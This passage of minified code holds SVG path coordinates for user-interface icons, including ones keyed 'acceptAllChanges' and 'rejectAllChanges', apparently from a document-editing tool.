4.06234 4.01368 4.038 4.03804C4.01367 4.0624 4 4.09543 4 4.12988V19.8552C4 19.8896 4.01367 19.9227 4.038 19.947C4.06234 19.9714 4.09534 19.9851 4.12976 19.9851H13.4875C13.0501 19.8216 12.6281 19.6155 12.2277 19.3686C11.8529 19.1551 11.4911 18.9196 11.1442 18.6632C11.0697 18.6152 10.9982 18.5628 10.9302 18.5065H4.99812C4.87371 18.5065 4.75438 18.457 4.66641 18.3689C4.57843 18.2809 4.529 18.1614 4.529 18.0369C4.529 17.9124 4.57843 17.7929 4.66641 17.7049C4.75438 17.6168 4.87371 17.5673 4.99812 17.5673H10.4396C10.4472 17.4488 10.4756 17.3324 10.5235 17.2235C10.5939 17.017 10.6761 16.8149 10.7694 16.6182H4.99812C4.87371 16.6182 4.75438 16.5687 4.66641 16.4807C4.57843 16.3926 4.529 16.2732 4.529 16.1487C4.529 16.0241 4.57843 15.9047 4.66641 15.8166C4.75438 15.7286 4.87371 15.6791 4.99812 15.6791H11.0867C11.1576 15.6791 11.2268 15.6952 11.2895 15.7253C11.5204 15.361 11.7938 15.027 12.1033 14.73H4.99812C4.87371 14.73 4.75438 14.6805 4.66641 14.5924C4.57843 14.5044 4.529 14.385 4.529 14.2604C4.529 14.1359 4.57843 14.0164 4.66641 13.9284C4.75438 13.8403 4.87371 13.7909 4.99812 13.7909H13.4434C13.9833 13.525 14.5656 13.3516 15.166 13.2795L15.1923 13.2763H15.2189H15.4925C16.0923 13.2609 16.6886 13.3728 17.2421 13.6048ZM13.0829 4.64939L16.5764 8.14613C16.5975 8.16843 16.6118 8.19636 16.6174 8.22657C16.6231 8.25677 16.62 8.28798 16.6084 8.31645C16.5968 8.34492 16.5773 8.36944 16.5521 8.38707C16.527 8.40471 16.4973 8.41471 16.4666 8.41587H13.043L12.8134 8.18609V4.75929C12.8146 4.72857 12.8246 4.69884 12.8422 4.67366C12.8598 4.64849 12.8843 4.62893 12.9128 4.61733C12.9412 4.60573 12.9724 4.60259 13.0026 4.60827C13.0328 4.61396 13.0607 4.62824 13.0829 4.64939ZM10.9869 6.71746C10.9896 6.65841 10.9806 6.59941 10.9604 6.54383C10.9403 6.48825 10.9094 6.4372 10.8696 6.39358C10.8297 6.34997 10.7816 6.31465 10.7281 6.28965C10.6746 6.26466 10.6167 6.25047 10.5577 6.2479H4.99813C4.88074 6.25562 4.77106 6.30914 4.69267 6.39694C4.61428 6.48475 4.57343 6.59983 4.57891 6.71746C4.57343 6.83509 4.61428 6.95017 4.69267 7.03798C4.77106 7.12579 4.88074 7.1793 4.99813 7.18702H10.5876C10.7014 7.17444 10.8061 7.11882 10.8803 7.03154C10.9545 6.94427 10.9927 6.83192 10.9869 6.71746ZM11.0867 8.13614H4.99812C4.87371 8.13614 4.75438 8.18561 4.66641 8.27367C4.57843 8.36173 4.529 8.48116 4.529 8.6057C4.529 8.73023 4.57843 8.84967 4.66641 8.93773C4.75438 9.02579 4.87371 9.07526 4.99812 9.07526H11.0867C11.2111 9.07526 11.3304 9.02579 11.4184 8.93773C11.5064 8.84967 11.5558 8.73023 11.5558 8.6057C11.5558 8.48116 11.5064 8.36173 11.4184 8.27367C11.3304 8.18561 11.2111 8.13614 11.0867 8.13614ZM4.99812 10.9935H15.4285C15.5609 10.9935 15.6878 10.9408 15.7814 10.8472C15.875 10.7535 15.9276 10.6264 15.9276 10.4939C15.9276 10.3614 15.875 10.2344 15.7814 10.1407C15.6878 10.047 15.5609 9.9944 15.4285 9.9944H4.99812C4.86576 9.9944 4.73883 10.047 4.64523 10.1407C4.55164 10.2344 4.49906 10.3614 4.49906 10.4939C4.49906 10.6264 4.55164 10.7535 4.64523 10.8472C4.73883 10.9408 4.86576 10.9935 4.99812 10.9935ZM4.99812 12.8517H11.0867C11.2076 12.844 11.3208 12.7898 11.4027 12.7004C11.4845 12.611 11.5287 12.4934 11.5259 12.3722C11.5286 12.252 11.4841 12.1355 11.402 12.0477C11.3199 11.9599 11.2067 11.9078 11.0867 11.9026H4.99812C4.93912 11.9052 4.8812 11.9194 4.82769 11.9444C4.77417 11.9694 4.7261 12.0047 4.68623 12.0483C4.64637 12.0919 4.61549 12.143 4.59536 12.1985C4.57523 12.2541 4.56625 12.3131 4.56893 12.3722C4.56345 12.4925 4.60535 12.6101 4.68561 12.6998C4.76587 12.7894 4.87809 12.844 4.99812 12.8517ZM19.97 17.4974C19.5787 16.5636 19.0431 15.6971 18.383 14.9298C18.0152 14.5351 17.5679 14.2233 17.0706 14.0148C16.5732 13.8064 16.0373 13.7062 15.4984 13.7209H15.2189C14.4787 13.8098 13.7684 14.0666 13.1423 14.4717C12.5162 14.8769 11.9906 15.4196 11.6057 16.0587C11.3211 16.4677 11.0959 16.9151 10.937 17.3875C10.9006 17.464 10.8817 17.5476 10.8817 17.6323C10.8817 17.717 10.9006 17.8006 10.937 17.877C11.0642 18.0428 11.2196 18.1849 11.3961 18.2967C11.7346 18.5476 12.0879 18.7778 12.4541 18.986C13.4096 19.5767 14.497 19.92 15.6182 19.9851C16.4392 20.0504 17.2632 19.9005 18.0088 19.5501C18.7544 19.1998 19.3959 18.661 19.8702 17.9869C19.9311 17.923 19.9729 17.8432 19.9905 17.7566C20.0082 17.67 20.0011 17.5801 19.97 17.4974ZM15.9775 19.1758C14.3849 19.068 12.8507 18.5331 11.5358 17.6273C11.5788 17.5678 11.6255 17.5111 11.6756 17.4574C12.3061 16.569 13.1295 15.8359 14.0832 15.3126C13.8003 15.7406 13.6785 16.2566 13.7417 16.7681C13.7676 17.0339 13.8465 17.2918 13.9737 17.5265C14.1009 17.7613 14.2739 17.9681 14.4823 18.1348C14.6907 18.3016 14.9304 18.4248 15.1872 18.4972C15.4441 18.5696 15.7128 18.5897 15.9775 18.5564C16.305 18.4971 16.6137 18.3609 16.8785 18.159C17.1432 17.9572 17.3564 17.6954 17.5005 17.3951C17.6446 17.0949 17.7156 16.7647 17.7077 16.4317C17.6997 16.0987 17.613 15.7723 17.4547 15.4793C17.2614 15.3391 17.0533 15.2235 16.8351 15.1339C17.0715 15.226 17.2966 15.3485 17.5046 15.4993C18.0049 15.8976 18.4424 16.3691 18.8022 16.898L18.8927 17.0137L18.8927 17.0137C19.0823 17.2564 19.2729 17.5004 19.4709 17.7072C18.5404 18.6311 17.288 19.1576 15.9775 19.1758ZM16.3168 15.769C16.2085 15.8106 16.1171 15.8873 16.0574 15.9869C15.9977 16.0865 15.9731 16.2032 15.9875 16.3185C15.9949 16.3856 16.0156 16.4505 16.0483 16.5096C16.081 16.5686 16.1251 16.6206 16.178 16.6624C16.2309 16.7042 16.2916 16.7351 16.3566 16.7532C16.4216 16.7714 16.4895 16.7764 16.5564 16.7681H16.6063C16.5618 16.9495 16.4637 17.1132 16.3248 17.238C16.186 17.3627 16.0127 17.4427 15.8278 17.4674H15.6481C15.4335 17.4396 15.2337 17.3427 15.0789 17.1913C14.924 17.04 14.8226 16.8423 14.7897 16.6282C14.7628 16.3782 14.8311 16.1271 14.981 15.9253C15.1305 15.7238 15.3504 15.5861 15.5968 15.5395C15.3446 15.5862 15.12 15.7284 14.9697 15.9364C14.8191 16.1448 14.7547 16.4034 14.7897 16.6582C14.8226 16.8723 14.924 17.0699 15.0789 17.2213C15.2337 17.3727 15.4335 17.4696 15.6481 17.4974H15.8377C16.0209 17.4708 16.1919 17.39 16.3289 17.2654C16.4658 17.1408 16.5625 16.978 16.6063 16.7981C16.7293 16.7633 16.8359 16.686 16.9072 16.5799C16.9785 16.4737 17.0098 16.3457 16.9956 16.2186C16.9882 16.1515 16.9675 16.0865 16.9348 16.0275C16.9021 15.9685 16.858 15.9165 16.805 15.8747C16.7521 15.8329 16.6914 15.802 16.6264 15.7838C16.5615 15.7657 16.4936 15.7607 16.4266 15.769H16.3168Z",acceptAllChanges:"M9.36499 16.7348C9.38499 16.7547 9.41212 16.7659 9.44041 16.7659H10.9881C10.9028 16.6008 10.9289 16.3933 11.0663 16.2541L11.7266 15.585H10.1444C10.0549 15.5701 9.97363 15.5238 9.91498 15.4547C9.85639 15.3856 9.82422 15.298 9.82422 15.2074C9.82422 15.1169 9.85639 15.0292 9.91498 14.9601C9.97363 14.891 10.0549 14.8448 10.1444 14.8298H12.4879C12.5584 14.785 12.6407 14.7607 12.7257 14.7607C12.8106 14.7607 12.893 14.785 12.9635 14.8298H16.5295L18.3303 13.0091C18.4135 12.925 18.5271 12.8776 18.6456 12.8777C18.7642 12.8777 18.8777 12.9252 18.9609 13.0094L20 14.0621V8.25532H16.8001C16.7301 8.27288 16.6568 8.27288 16.5868 8.25532C16.3485 8.1935 16.1367 8.0565 15.9829 7.86478C15.8292 7.67306 15.7416 7.43688 15.7335 7.19149V4H9.44041C9.41293 4.0024 9.38718 4.01437 9.36767 4.03383C9.34816 4.05329 9.33615 4.07897 9.33375 4.10638V16.6596C9.33375 16.6878 9.34499 16.7148 9.36499 16.7348ZM10.0744 17.2979H11.4803L12.259 18.0957H5.06727C5.01734 18.0957 4.96838 18.1057 4.9232 18.1246C4.8788 18.1431 4.83798 18.1702 4.80335 18.2048C4.7333 18.2746 4.69398 18.3693 4.69398 18.468C4.69398 18.5668 4.7333 18.6615 4.80335 18.7313C4.87333 18.8011 4.96832 18.8404 5.06727 18.8404H12.9857L13.7947 19.6693L14.0836 19.9574H4.10733C4.09291 19.9591 4.07829 19.9576 4.06457 19.9528C4.05085 19.9481 4.03838 19.9403 4.02812 19.9301C4.01785 19.9198 4.01004 19.9074 4.00529 19.8937C4.00054 19.88 3.99896 19.8654 4.00067 19.8511V7.29787C4.00067 7.26966 4.01191 7.2426 4.03191 7.22265C4.05192 7.2027 4.07905 7.19149 4.10733 7.19149H8.70447V9.05319H5.06727C4.97294 9.05867 4.88453 9.10069 4.8208 9.17019C4.757 9.23973 4.72302 9.33135 4.72594 9.42553C4.72289 9.52082 4.75654 9.61364 4.82002 9.6849C4.88356 9.75613 4.97203 9.80038 5.06727 9.8085H8.70447V10.5638H5.06727C5.01968 10.5652 4.97274 10.5759 4.92932 10.5954C4.88583 10.6148 4.84664 10.6426 4.8139 10.6772C4.78122 10.7118 4.7557 10.7525 4.73877 10.7969C4.72184 10.8413 4.7139 10.8887 4.71527 10.9361C4.7139 10.9837 4.72184 11.031 4.73877 11.0754C4.74424 11.0897 4.75055 11.1037 4.75778 11.1171C4.76162 11.1243 4.76566 11.1313 4.76995 11.1382C4.78265 11.1585 4.79736 11.1776 4.8139 11.1951C4.84664 11.2297 4.88583 11.2575 4.92932 11.2769C4.95491 11.2884 4.98173 11.2968 5.0092 11.3021C5.02834 11.3058 5.04774 11.3079 5.06727 11.3085H8.70447V12.0638H5.06734C4.97782 12.0789 4.89651 12.1251 4.83792 12.1942C4.77926 12.2633 4.7471 12.351 4.7471 12.4415C4.7471 12.5321 4.77926 12.6197 4.83792 12.6888C4.89651 12.758 4.97782 12.8041 5.06734 12.8192H8.70447V13.5745H5.06734C4.97782 13.5895 4.89651 13.6357 4.83792 13.7048C4.81383 13.7332 4.79424 13.7647 4.77946 13.7983C4.7583 13.8465 4.7471 13.8988 4.7471 13.9522C4.7471 14.0427 4.77926 14.1303 4.83792 14.1994C4.89651 14.2686 4.97782 14.3147 5.06734 14.3298H8.70447V15.0744H5.06727C4.97776 15.0895 4.89651 15.1357 4.83785 15.2048C4.77926 15.2739 4.7471 15.3616 4.7471 15.4521C4.7471 15.5043 4.75778 15.5556 4.77809 15.6029C4.793 15.6376 4.81305 15.6701 4.83785 15.6994C4.89651 15.7685 4.97776 15.8147 5.06727 15.8298H8.70447V16.5851H5.06727C4.97776 16.6001 4.89651 16.6463 4.83785 16.7154C4.79489 16.7661 4.76618 16.8267 4.75387 16.8912C4.74938 16.9146 4.7471 16.9386 4.7471 16.9628C4.7471 17.0533 4.77926 17.1409 4.83785 17.21C4.89651 17.2792 4.97776 17.3253 5.06727 17.3404H9.95241C9.99552 17.3331 10.0367 17.3187 10.0744 17.2979ZM20 15.3204L18.5709 16.7659H19.8933C19.9216 16.7659 19.9487 16.7547 19.9687 16.7348C19.9887 16.7148 20 16.6878 20 16.6596V15.3204ZM14.7526 16.6264L13.7248 15.585H15.7825L14.7526 16.6264ZM14.9498 6.08721C14.9465 6.06854 14.9416 6.05023 14.9353 6.03244C14.9202 5.98939 14.897 5.94929 14.8665 5.91442C14.8145 5.85488 14.7444 5.81394 14.6669 5.79787H10.1337C10.0348 5.79787 9.93978 5.83709 9.8698 5.90693C9.79975 5.97676 9.76043 6.07146 9.76043 6.17022C9.76043 6.19463 9.76283 6.21879 9.76752 6.24239C9.77462 6.2782 9.78692 6.31268 9.80398 6.34479C9.82123 6.37716 9.8433 6.40709 9.8698 6.43348C9.93978 6.50332 10.0348 6.54257 10.1337 6.54257H14.6669C14.6811 6.54023 14.6951 6.53702 14.7088 6.53299C14.7206 6.52955 14.7322 6.52549 14.7436 6.52082C14.7624 6.51309 14.7806 6.50371 14.7979 6.4928C14.8378 6.46764 14.8722 6.43468 14.8991 6.39599C14.9259 6.35729 14.9447 6.31359 14.9543 6.26749C14.9554 6.26232 14.9563 6.25716 14.9571 6.25197C14.9579 6.24739 14.9586 6.24281 14.9591 6.23824C14.9612 6.22129 14.962 6.20424 14.9616 6.18723C14.961 6.16727 14.9588 6.14733 14.9549 6.12766C14.9539 6.11406 14.9523 6.10055 14.9498 6.08721ZM15.0189 7.29788H10.1445C10.0549 7.31291 9.97363 7.35911 9.91504 7.42823C9.85639 7.49738 9.82422 7.585 9.82422 7.67555C9.82422 7.76609 9.85639 7.85369 9.91504 7.92284C9.97363 7.99196 10.0549 8.03815 10.1445 8.05319H15.0189C15.0321 8.05241 15.0451 8.05095 15.058 8.04877C15.0745 8.04601 15.0906 8.04212 15.1064 8.03718C15.1669 8.01822 15.2219 7.98361 15.2654 7.93618C15.3291 7.86664 15.3632 7.77502 15.3602 7.68084C15.3606 7.67392 15.3608 7.66701 15.3608 7.66009C15.3609 7.65087 15.3606 7.64165 15.3599 7.63247C15.3592 7.62263 15.358 7.61279 15.3565 7.60302C15.3532 7.58188 15.3479 7.56104 15.3409 7.54072C15.3254 7.49575 15.301 7.45426 15.2693 7.41868C15.2492 7.39621 15.2265 7.37638 15.2017 7.35959C15.1872 7.34979 15.172 7.34102 15.1562 7.33339C15.1132 7.31265 15.0665 7.3006 15.0189 7.29788ZM10.1445 9.56381H18.496C18.5856 9.54877 18.6669 9.50258 18.7255 9.43346C18.7841 9.3643 18.8163 9.27671 18.8163 9.18617C18.8163 9.09562 18.7841 9.008 18.7255 8.93884C18.6669 8.86973 18.5856 8.82353 18.496 8.8085H10.1445C10.0549 8.82353 9.97363 8.86973 9.91504 8.93884C9.85639 9.008 9.82422 9.09562 9.82422 9.18617C9.82422 9.24412 9.83738 9.30087 9.86224 9.35236C9.87624 9.38132 9.89395 9.40859 9.91504 9.43346C9.97363 9.50258 10.0549 9.54877 10.1445 9.56381ZM10.1445 11.0638H15.0189C15.1084 11.0488 15.1897 11.0026 15.2483 10.9335C15.2854 10.8898 15.3118 10.8387 15.3263 10.7842C15.3347 10.7525 15.3391 10.7195 15.3391 10.6861C15.3391 10.5956 15.3069 10.508 15.2483 10.4389C15.1897 10.3697 15.1084 10.3235 15.0189 10.3085H10.1445C10.0549 10.3235 9.97363 10.3697 9.91504 10.4389C9.85639 10.508 9.82422 10.5956 9.82422 10.6861C9.82422 10.7424 9.83666 10.7976 9.8601 10.8478C9.87442 10.8785 9.89284 10.9073 9.91504 10.9335C9.97363 11.0026 10.0549 11.0488 10.1445 11.0638ZM18.496 12.5745H10.1444C10.0549 12.5594 9.97363 12.5132 9.91498 12.4441C9.85639 12.3749 9.82422 12.2873 9.82422 12.1968C9.82422 12.1062 9.85639 12.0186 9.91498 11.9495C9.97363 11.8803 10.0549 11.8342 10.1444 11.8191H18.496C18.5856 11.8342 18.6669 11.8803 18.7255 11.9495C18.7841 12.0186 18.8163 12.1062 18.8163 12.1968C18.8163 12.2873 18.7841 12.3749 18.7255 12.4441C18.6971 12.4776 18.6633 12.5058 18.6259 12.5276C18.5861 12.5507 18.5421 12.5667 18.496 12.5745ZM15.0189 14.0744H10.1444C10.0968 14.0731 10.0499 14.0624 10.0064 14.0429C9.96296 14.0234 9.92376 13.9956 9.89102 13.961C9.85834 13.9265 9.83282 13.8857 9.81589 13.8413C9.79897 13.7969 9.79102 13.7496 9.79239 13.7021C9.79102 13.6546 9.79897 13.6073 9.81589 13.5628C9.83282 13.5184 9.85834 13.4778 9.89102 13.4432C9.92376 13.4086 9.96296 13.3808 10.0064 13.3613C10.0499 13.3419 10.0968 13.3311 10.1444 13.3297H15.0189C15.0661 13.3311 15.1125 13.3419 15.1554 13.3615C15.1983 13.381 15.2368 13.4091 15.2686 13.4438C15.3005 13.4785 15.325 13.5193 15.3407 13.5637C15.3564 13.608 15.363 13.6551 15.3602 13.7021C15.3631 13.7963 15.3291 13.8879 15.2653 13.9574C15.2016 14.027 15.1132 14.0689 15.0189 14.0744ZM16.6188 4.52128L19.4133 7.30852C19.4293 7.32624 19.4401 7.34808 19.4443 7.37157C19.4485 7.39506 19.446 7.41925 19.4371 7.4414C19.4282 7.46356 19.4133 7.48278 19.394 7.4969C19.3747 7.51102 19.3518 7.51947 19.328 7.52128H16.5868L16.4054 7.34043V4.60639C16.4073 4.5826 16.4157 4.55979 16.4299 4.54056C16.444 4.52133 16.4633 4.50644 16.4855 4.49757C16.5077 4.48871 16.532 4.48624 16.5556 4.49043C16.5791 4.49462 16.601 4.50531 16.6188 4.52128ZM18.6454 13.3192L20 14.6915L14.7522 20L14.7416 19.9894L14.1123 19.3617L13.3976 18.6277L11.3817 16.5638L12.7257 15.2021L14.7522 17.2553L18.6454 13.3192Z",rejectAllChanges:"M9.54637 16.5847H8.96997V15.8295H12.786C12.8024 15.8265 12.8186 15.8223 12.8343 15.817C12.8535 15.8105 12.8719 15.8023 12.8897 15.7926C12.9315 15.7697 12.969 15.738 12.9997 15.6991C13.0268 15.6649 13.0478 15.6261 13.0621 15.5847H13.571V16.7656H9.79386C9.78396 16.7479 9.77269 16.731 9.76011 16.7151C9.70552 16.6459 9.62976 16.5998 9.54637 16.5847ZM13.4717 12.9573V13.3295H9.72523C9.6809 13.3309 9.63716 13.3416 9.59671 13.361C9.57578 13.3711 9.55595 13.3834 9.53745 13.3977C9.5201 13.411 9.50391 13.4262 9.48917 13.4429C9.45872 13.4775 9.43494 13.5182 9.41917 13.5626C9.41778 13.5664 9.41644 13.5703 9.41523 13.5742H8.96997V12.8189H12.786C12.8694 12.8039 12.9452 12.7577 12.9997 12.6886C13.0078 12.6784 13.0153 12.6677 13.0223 12.6568L13.029 12.6458L13.033 12.6389L13.0397 12.6266C13.0452 12.6157 13.0503 12.6046 13.055 12.5931C13.0576 12.5869 13.0599 12.5806 13.0621 12.5742H13.6872C13.6453 12.5965 13.607 12.6269 13.5746 12.6644C13.5059 12.7439 13.469 12.849 13.4717 12.9573ZM9.82598 14.0742H13.4758C13.4809 14.0932 13.4904 14.1108 13.5037 14.1251C13.5242 14.147 13.552 14.1593 13.581 14.1593H13.6008L13.571 14.1912V14.8295H9.72523C9.64183 14.8445 9.56614 14.8907 9.51149 14.9598C9.4845 14.994 9.46351 15.0328 9.4492 15.0741H8.96997V14.3295H9.54637C9.62976 14.3145 9.70552 14.2683 9.76011 14.1992C9.78947 14.162 9.81166 14.1195 9.82598 14.0742ZM18.9075 8.2552V12.5317H17.7846V12.323C17.7978 12.2827 17.8047 12.2399 17.8047 12.1965C17.8047 12.106 17.7747 12.0184 17.7201 11.9493C17.6655 11.8801 17.5897 11.834 17.5063 11.8189H9.72523C9.64183 11.834 9.56614 11.8801 9.51149 11.9493C9.48444 11.9835 9.46351 12.0222 9.4492 12.0636H8.96997V11.3083H9.54637C9.63425 11.3028 9.71662 11.2608 9.776 11.1913C9.80687 11.1551 9.83029 11.113 9.84527 11.0676L9.84654 11.0637H14.2667C14.3501 11.0486 14.4258 11.0024 14.4805 10.9333C14.5231 10.8794 14.5507 10.8142 14.5607 10.7452C14.5636 10.7258 14.565 10.706 14.565 10.686C14.565 10.6658 14.5635 10.6458 14.5606 10.626C14.5572 10.6026 14.5516 10.5796 14.5442 10.5573C14.5299 10.5144 14.5084 10.4741 14.4805 10.4387C14.4258 10.3696 14.3501 10.3234 14.2667 10.3083H9.72529C9.6832 10.3159 9.64299 10.3314 9.60653 10.3538C9.57081 10.3759 9.5386 10.4045 9.51155 10.4387C9.49639 10.4579 9.4831 10.4785 9.47182 10.5002C9.46133 10.5205 9.45259 10.5417 9.44568 10.5636H8.96997V9.80838H9.16873C9.25656 9.80286 9.33899 9.76085 9.39837 9.69131C9.45775 9.62177 9.48947 9.53022 9.48674 9.43601C9.48711 9.42951 9.48735 9.42302 9.48741 9.41653C9.48741 9.41049 9.48729 9.40445 9.48705 9.39848C9.49457 9.41055 9.50269 9.42218 9.51155 9.43334C9.56614 9.50249 9.64189 9.54866 9.72529 9.56372H17.5063C17.5897 9.54866 17.6655 9.50249 17.7201 9.43334C17.7747 9.36419 17.8047 9.2766 17.8047 9.18603C17.8047 9.09552 17.7747 9.00786 17.7201 8.93878C17.6655 8.86963 17.5897 8.82346 17.5063 8.8084H9.72529C9.64189 8.82346 9.56614 8.86963 9.51155 8.93878C9.4569 9.00786 9.42694 9.09552 9.42694 9.18603L9.427 9.19707L9.42754 9.20875C9.41972 9.19661 9.41123 9.18499 9.40201 9.17389C9.38478 9.15311 9.36537 9.1346 9.34427 9.11863C9.33735 9.11344 9.33026 9.1085 9.32298 9.10383C9.31855 9.10097 9.31406 9.09824 9.30951 9.09565L9.30424 9.09266L9.29659 9.08857C9.28792 9.08402 9.27906 9.07993 9.27009 9.07623C9.2616 9.07279 9.25298 9.06974 9.24431 9.06701C9.21974 9.05935 9.19439 9.05461 9.16873 9.05305H8.96997V4.10638C8.97221 4.07897 8.9834 4.05328 9.00157 4.03383C9.01975 4.01437 9.04374 4.0024 9.06935 4H14.9325V7.1914C14.9401 7.43679 15.0216 7.67296 15.1649 7.86468C15.3082 8.0564 15.5055 8.19338 15.7275 8.2552C15.7927 8.27277 15.861 8.27277 15.9262 8.2552H18.9075ZM13.571 17.2975V19.4251L13.5722 19.4615C13.5835 19.6376 13.6323 19.8068 13.7133 19.957H4.10061C4.08718 19.9587 4.07355 19.9571 4.06077 19.9524C4.04799 19.9477 4.03637 19.9399 4.02681 19.9296C4.01724 19.9194 4.00997 19.907 4.00554 19.8933C4.00111 19.8796 3.99964 19.865 4.00124 19.8506V7.29778C4.00124 7.26957 4.01171 7.24251 4.03034 7.22256C4.04898 7.20261 4.07426 7.1914 4.10061 7.1914H8.38368V9.05305H4.99497C4.90708 9.05857 4.82471 9.10052 4.76533 9.17006C4.70589 9.2396 4.67423 9.33121 4.67696 9.42536C4.67411 9.52067 4.70547 9.61346 4.76461 9.68475C4.8238 9.75598 4.90623 9.80026 4.99497 9.80838H8.38368V10.5636H4.99497C4.96682 10.5645 4.93898 10.5692 4.91199 10.5774C4.89647 10.5821 4.88124 10.588 4.86644 10.5952C4.8494 10.6034 4.83308 10.613 4.81762 10.6241C4.79627 10.6393 4.77655 10.657 4.7589 10.6771C4.72846 10.7116 4.70468 10.7523 4.68891 10.7967C4.67314 10.8411 4.66574 10.8885 4.66701 10.9359C4.66641 10.9597 4.66792 10.9834 4.67156 11.0067C4.6752 11.03 4.68102 11.053 4.68891 11.0752C4.70468 11.1196 4.72846 11.1603 4.7589 11.1949C4.7731 11.211 4.78862 11.2256 4.80524 11.2386C4.81452 11.2459 4.82417 11.2527 4.83417 11.259C4.84461 11.2655 4.85534 11.2714 4.86644 11.2767C4.9069 11.2962 4.95063 11.3069 4.99497 11.3083H8.38368V12.0636H4.99503C4.91163 12.0787 4.83587 12.1249 4.78128 12.194C4.7526 12.2303 4.7307 12.2717 4.71639 12.3159C4.70347 12.3559 4.69667 12.3983 4.69667 12.4413C4.69667 12.5318 4.72664 12.6194 4.78128 12.6886C4.809 12.7237 4.84218 12.7529 4.87906 12.7751C4.89416 12.7842 4.90993 12.7921 4.92619 12.7988C4.94833 12.8079 4.97137 12.8147 4.99503 12.8189H8.38368V13.5742H4.99503C4.95275 13.5819 4.91242 13.5975 4.87584 13.62C4.8403 13.642 4.80822 13.6705 4.78128 13.7046C4.72664 13.7737 4.69667 13.8613 4.69667 13.9519C4.69667 14.0424 4.72664 14.13 4.78128 14.1992C4.83587 14.2683 4.91163 14.3145 4.99503 14.3295H8.38368V15.0741H4.99497C4.94644 15.0829 4.90047 15.1022 4.85977 15.1304C4.83878 15.145 4.81919 15.162 4.80136 15.1811C4.79439 15.1885 4.78765 15.1964 4.78122 15.2045C4.77188 15.2163 4.76327 15.2287 4.75539 15.2416C4.74441 15.2594 4.73495 15.2781 4.727 15.2975C4.71924 15.3163 4.71293 15.3358 4.70808 15.3558C4.70407 15.3723 4.7011 15.389 4.69922 15.4061C4.69752 15.4212 4.69667 15.4364 4.69667 15.4518C4.69667 15.5423 4.72664 15.6299 4.78122 15.6991C4.83587 15.7682 4.91157 15.8144 4.99497 15.8295H8.38368V16.5847H4.99497C4.91157 16.5998 4.83587 16.6459 4.78122 16.7151C4.72664 16.7842 4.69667 16.8718 4.69667 16.9624C4.69667 17.0529 4.72664 17.1405 4.78122 17.2097C4.83587 17.2788 4.91157 17.325 4.99497 17.34H9.54637C9.58655 17.3328 9.62496 17.3183 9.66008 17.2975H13.571ZM15.7573 4.52124L18.3609 7.30839C18.3758 7.32612 18.3858 7.34796 18.3897 7.37145C18.3937 7.39493 18.3914 7.41913 18.3831 7.44128C18.3748 7.46343 18.3609 7.48266 18.3429 7.49678C18.325 7.51089 18.3036 7.51934 18.2814 7.52115H15.7275L15.5585 7.34031V4.60634C15.5602 4.58255 15.5681 4.55975 15.5813 4.54051C15.5945 4.52128 15.6125 4.50639 15.6332 4.49753C15.6539 4.48867 15.6765 4.48619 15.6984 4.49038C15.7203 4.49457 15.7407 4.50526 15.7573 4.52124ZM14.1248 5.91437C14.1732 5.97391 14.2021 6.04884 14.2071 6.1276C14.2157 6.17377 14.2155 6.22129 14.2065 6.26739C14.2045 6.27778 14.2021 6.28804 14.1992 6.29817L14.1944 6.31388C14.1847 6.34291 14.1715 6.3705 14.1551 6.39595C14.13 6.43465 14.098 6.46757 14.0608 6.49276C14.0354 6.5099 14.008 6.52328 13.9794 6.53244C13.9661 6.53672 13.9525 6.5401 13.9387 6.5425H9.71529C9.62309 6.5425 9.5346 6.50328 9.4694 6.43342C9.40413 6.36362 9.3675 6.26889 9.3675 6.17013C9.3675 6.07144 9.40413 5.97671 9.4694 5.90691C9.5346 5.83704 9.62309 5.79783 9.71529 5.79783H13.9387C13.9718 5.80516 14.0034 5.81769 14.0326 5.83484C14.0672 5.85522 14.0984 5.88204 14.1248 5.91437ZM14.2667 7.29776H9.72529C9.69606 7.30302 9.66773 7.31211 9.64092 7.3247C9.62612 7.33171 9.61175 7.33977 9.59798 7.34879C9.56565 7.36996 9.53642 7.39664 9.51155 7.42813C9.4569 7.49722 9.42694 7.58487 9.42694 7.67538C9.42694 7.70155 9.42942 7.72752 9.43434 7.75285C9.44635 7.81505 9.47273 7.87355 9.51155 7.9227C9.55292 7.9751 9.60647 8.01432 9.66628 8.03678C9.67762 8.04107 9.6892 8.04477 9.70097 8.04775C9.70898 8.04983 9.71711 8.05158 9.72529 8.05308H14.2667C14.3546 8.04756 14.437 8.00555 14.4964 7.93601C14.5558 7.86647 14.5875 7.77492 14.5847 7.68071C14.5874 7.63318 14.5813 7.58559 14.5667 7.54059C14.5522 7.4956 14.5296 7.45417 14.5 7.41859C14.4704 7.38301 14.4346 7.35398 14.3946 7.33327C14.3546 7.31256 14.3111 7.30048 14.2667 7.29776ZM4.99497 18.84H12.786C12.8783 18.84 12.9667 18.8008 13.032 18.731C13.0972 18.6611 13.1338 18.5664 13.1338 18.4677C13.1338 18.3689 13.0972 18.2742 13.032 18.2044C12.9667 18.1346 12.8783 18.0954 12.786 18.0954H4.99497C4.90277 18.0954 4.81428 18.1346 4.74908 18.2044C4.68381 18.2742 4.64718 18.3689 4.64718 18.4677C4.64718 18.5664 4.68381 18.6611 4.74908 18.731C4.81428 18.8008 4.90277 18.84 4.99497 18.84ZM17.5858 12.7444H19.5733H19.623C19.7249 12.7499 19.821 12.7971 19.8913 12.8764C19.9616 12.9556 20.0007 13.0607 20.0006 13.17V13.8295C20.0007 13.8458 19.9976 13.862 19.9914 13.8769C19.9853 13.8918 19.9764 13.9052 19.9652 13.9163C19.9539 13.9273 19.9407 13.9357 19.9262 13.9409C19.9118 13.9461 19.8965 13.948 19.8814 13.9465H13.7797C13.7507 13.9465 13.7229 13.9342 13.7024 13.9123C13.6819 13.8903 13.6704 13.8606 13.6704 13.8295V13.17C13.6677 13.0617 13.7046 12.9566 13.7733 12.8771C13.842 12.7976 13.9371 12.75 14.0381 12.7444H16.0256V12.5104C16.0352 12.439 16.0687 12.3737 16.1199 12.3268C16.1711 12.2798 16.2365 12.2544 16.3039 12.2551H17.2976C17.3667 12.2517 17.4345 12.276 17.4878 12.3232C17.541 12.3704 17.576 12.4371 17.5858 12.5104V12.7444ZM14.0679 19.4251V14.1912H19.5037V19.4251C19.4935 19.585 19.4256 19.7344 19.3143 19.8416C19.203 19.9488 19.0571 20.0055 18.9075 19.9996H14.6642C14.5146 20.0055 14.3687 19.9488 14.2574 19.8416C14.1461 19.7344 14.0781 19.585 14.0679 19.4251ZM15.5983 15.1593H15.2505C15.0969 15.1593 14.9723 15.2926 14.9723 15.4572V18.7336C14.9723 18.8981 15.0969 19.0315 15.2505 19.0315H15.5983C15.752 19.0315 15.8766 18.8981 15.8766 18.7336V15.4572C15.8766 15.2926 15.752 